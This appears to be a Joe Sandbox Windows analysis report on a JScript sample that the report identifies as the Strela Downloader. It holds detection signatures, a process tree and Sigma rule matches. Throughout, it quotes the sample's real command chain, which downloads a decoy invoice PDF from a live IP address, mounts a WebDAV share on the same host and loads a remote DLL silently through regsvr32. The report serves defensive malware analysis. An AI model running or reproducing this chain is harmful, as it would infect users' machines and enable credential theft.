Edit tour

Windows Analysis Report
2435213596266856603.js

Overview

General Information

Sample name:	2435213596266856603.js
Analysis ID:	1588834
MD5:	215b6bcbdcbc134000fab082ae339f10
SHA1:	3e5f528fedeeb6fa7bf65be4d760890c955865cf
SHA256:	c5ffc6a46be91a15c63ad3a2c6dd8662f5d9ee4b5b67ac11c5a5e54817846ff8
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2052 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2435213596266856603.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7028 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6828 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5908 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2056 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1032 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1640,i,16345293341959099244,7152313826885755216,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4600 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2084 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3004 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2052	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7028, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6828, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7028, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6828, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2435213596266856603.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2435213596266856603.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2435213596266856603.js", ProcessId: 2052, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2435213596266856603.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2052, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, ProcessId: 7028, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2435213596266856603.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2052, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, ProcessId: 7028, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2435213596266856603.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2052, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, ProcessId: 7028, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2435213596266856603.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2052, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, ProcessId: 7028, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2435213596266856603.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2052, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, ProcessId: 7028, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2435213596266856603.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2435213596266856603.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2435213596266856603.js", ProcessId: 2052, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7028, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6828, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4600, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2084, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3004, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4600, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2084, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2435213596266856603.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2052, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll, ProcessId: 7028, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2435213596266856603.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2435213596266856603.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2435213596266856603.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000001.00000003.2149394075.000001C5D7CC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2204316729.000001CCC3A5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2215725048.000001CCC3A5B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2204316729.000001CCC3A5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pKn
Source: net.exe, 00000007.00000002.2215669085.000001CCC3A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/q?
Source: svchost.exe, 00000009.00000002.3438739378.0000011159000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2205186371.0000011158E60000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2052, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2435213596266856603.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1588:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5uvquxrf.zhw.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2435213596266856603.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2435213596266856603.js"
